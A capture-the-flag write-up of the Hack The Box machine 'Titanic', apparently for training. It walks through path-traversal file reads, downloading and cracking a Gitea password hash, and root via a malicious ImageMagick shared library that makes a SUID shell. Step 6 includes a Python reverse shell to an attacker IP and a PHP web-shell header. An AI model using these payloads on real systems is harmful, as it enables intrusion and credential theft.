Titanic - Hack The Box

Titanic Cover

1. Box Overview

Titanic is an easy-difficulty Linux machine from Hack The Box, featuring an Apache web server on port 80 hosting a Titanic-themed booking site. A secondary virtual host running a Gitea server is discovered through fuzzing. The goal is to exploit an Arbitrary File Read (LFI) vulnerability to retrieve a Gitea database, crack credentials for SSH access, and escalate privileges using a vulnerable ImageMagick version (CVE-2024-41817) in a cron script. This box teaches web enumeration, LFI exploitation, virtual host discovery, and vulnerability research.

2. Resources Used

Here are the key resources that guided my approach:

3. My Approach to Pwning Titanic

Step 1: Initial Recon with Nmap

I started with an Nmap scan to identify open ports and services on the target (10.10.11.55). The scan revealed SSH (port 22) and an Apache web server (port 80) redirecting to titanic.htb, indicating a Linux host.

Command:

nmap -sV -sC --open -T4 10.10.11.55

Why: The -T4 flag speeds up the scan, -sV detects service versions, -sC runs default scripts, and --open filters for open ports. The scan showed OpenSSH 8.9p1 and Apache 2.4.52, with a redirect to titanic.htb, suggesting a web-based entry point.

Nmap scan results

Step 2: Adding Hostname to /etc/hosts

To resolve titanic.htb, I added it to my /etc/hosts file.

Command:

echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts

Why: This ensures the browser resolves titanic.htb to the target IP, allowing access to the web application.

etchosts

Step 3: Exploring the Titanic Website

Visiting http://titanic.htb, I found a booking page for Titanic trips. The form accepted user input (name, email, phone, date, cabin) and generated a downloadable JSON file with the submitted data. I tested for Server-Side Template Injection (SSTI) with payloads like {{7*7}}, but it failed, suggesting no template rendering.

Why: The booking form was a potential attack vector, but the JSON output indicated a possible file-handling vulnerability.

Booking page json

Step 4: Intercepting Traffic with Burp Suite

I used Burp Suite to analyze HTTP requests and responses for the booking process. Submitting the form sent a POST request to /book, followed by a GET request to /download?ticket=[filename], which served the JSON file with user input.

Command:

POST /book HTTP/1.1
Host: titanic.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

[email protected]&phone=33333333333&date=2025-06-20&cabin=Suite

Why: Burp Suite revealed the /download endpoint used a ticket parameter to specify the file, hinting at a potential Local File Inclusion (LFI) vulnerability.

Step 5: Exploiting LFI via /download

I tested the /download endpoint for LFI by requesting /etc/passwd.

Command:

GET /download?ticket=/../../../etc/passwd HTTP/1.1
Host: titanic.htb

Why: The response returned the contents of /etc/passwd, confirming an Arbitrary File Read vulnerability. This allowed reading sensitive files on the system.

LFI /etc/passwd

Step 6: Attempting Log Poisoning

I attempted to escalate LFI to Remote Code Execution (RCE) by poisoning Apache logs via /proc/self/environ and injecting a command in the User-Agent header. As well as attempting to inject php code into apache2 logs.

Command:

GET /download?ticket=/../../../../../proc/self/environ&cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.208",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' HTTP/1.1
Host: titanic.htb
User-Agent: <?php system($_GET['cmd']); ?>

Why: Log poisoning can sometimes lead to RCE if logs are processed insecurely, but this failed, likely due to restricted access to /var/log/apache2.

Attempted /proc poisoning

Log poisoning attempt

Attempted /apache2 poisoning

Log poisoning attempt Log poisoning attempt

Step 7: Fuzzing for Virtual Hosts

I used Gobuster to enumerate virtual hosts, discovering dev.titanic.htb.

Command:

gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r

Why: Virtual host enumeration can reveal hidden services. The scan found dev.titanic.htb (status 200), indicating a potential secondary application.

Gobuster vhost

Step 8: Adding dev.titanic.htb to /etc/hosts

I added dev.titanic.htb to /etc/hosts to access the virtual host.

Command:

echo "10.10.11.55 dev.titanic.htb" | sudo tee -a /etc/hosts

Why: This allows the browser to resolve dev.titanic.htb and access the Gitea server.

Step 9: Exploring the Gitea Server

Visiting dev.titanic.htb revealed a Gitea server. I registered a dummy account to explore repositories, finding flask-app and docker-config. The flask-app repo confirmed the LFI vulnerability in the /download endpoint, while docker-config contained a docker-compose.yml file with a MySQL password (MySQLP@$$w0rd!) and a Gitea data folder at /home/developer/gitea/data.

Why: Gitea repositories often contain sensitive configuration data, and the docker-config repo revealed a potential path to the Gitea database.

Gitea repositories repo repo

Step 10: Attempting LFI on Gitea Data Directory

I tried accessing /home/developer/gitea/data/gitea.db via LFI, but it returned a 404, likely due to permissions.

Command:

curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea.db'

Why: The Gitea database could contain credentials, but the initial attempt failed, suggesting a deeper path was needed.

repo

Step 11: Replicating Gitea Locally

To understand Gitea’s data structure, I set up a local Gitea instance using Docker.

Command:

version: '3'
services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"
    volumes:
      - /tmp/data:/data
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
docker-compose up

Why: Running Gitea locally revealed the database location at /data/gitea/gitea.db, suggesting the remote path was /home/developer/gitea/data/gitea/gitea.db.

Local Gitea setup

Step 12: Downloading the Gitea Database

I used the LFI vulnerability to download the Gitea database.

Command:

curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

Why: The correct path allowed successful retrieval of the SQLite database containing user credentials.

Gitea database download

Step 13: Analyzing the Gitea Database

I opened the database with SQLite and queried the user table to extract credentials.

Commands:

sqlite3 gitea.db
.tables
select * from user;

Why: The user table contained hashed credentials, including for the developer user: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=.

SQLite user table

Step 14: Formatting Hashes for Hashcat

I used a Python script to format the PBKDF2-SHA256 hashes for Hashcat.

Command:

python3 hash_formatter.py

Why: The script from GitHub converted the hash to sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=, suitable for cracking.

Hash formatting

Step 15: Cracking the Developer’s Hash

I used Hashcat to crack the developer user’s hash.

Command:

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Why: Hashcat’s -m 10900 mode targets PBKDF2-SHA256. The cracked password was 25282528, providing SSH access.

Hashcat cracking

Step 16: Gaining User Access via SSH

I logged into the system as developer via SSH and found the user flag in /home/developer.

Command:

ssh [email protected]

Why: The cracked password granted SSH access, and the user flag was immediately accessible, completing the first objective.

User flag User flag

Step 17: Enumerating for Privilege Escalation

I enumerated the system, checking sudo -l (no permissions) and exploring /opt. The /opt/scripts directory contained identify_images.sh, which ran magick identify on .jpg files in /opt/app/static/assets/images every minute, writing to metadata.log.

Command:

cat /opt/scripts/identify_images.sh

Why: The script’s periodic execution and writeable directory (/opt/app/static/assets/images) suggested a privilege escalation vector.

image.sh metadata

Step 18: Identifying ImageMagick Vulnerability

I checked the magick version, revealing ImageMagick 7.1.1-35, vulnerable to CVE-2024-41817.

Command:

magick --version

Why: A GitHub advisory (GHSA-8rxc-922v-phg8) confirmed an arbitrary code execution vulnerability in this version.

ImageMagick version

Step 19: Exploiting CVE-2024-41817

I crafted a malicious shared library to exploit the vulnerability, leveraging the writeable /opt/app/static/assets/images directory.

Command:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include 
#include 
#include 

__attribute__((constructor)) void init() {
    system("cp /bin/sh /tmp && chmod u+s /tmp/sh");
    exit(0);
}
EOF

Why: The script copied /bin/sh to /tmp/sh with SUID permissions. The cron job executed the payload, creating an SUID binary.

Exploit compilation

Step 20: Gaining Root Access

After the cron job ran, I executed the SUID binary to gain a root shell and retrieved the root flag from /root.

Command:

/tmp/sh -p

Why: The SUID binary ran with root privileges, allowing access to root.txt, completing the challenge.

Root flag Root flag

4. Lessons Learned and Tips

Here’s what I took away from Titanic:

5. Conclusion

Titanic was an engaging challenge that honed my skills in web enumeration, LFI exploitation, and privilege escalation. The LFI vulnerability opened the door to the Gitea database, while the ImageMagick exploit demonstrated the impact of outdated software. This box was a great introduction to combining web and system vulnerabilities to achieve full system compromise.

completed

6. Additional Notes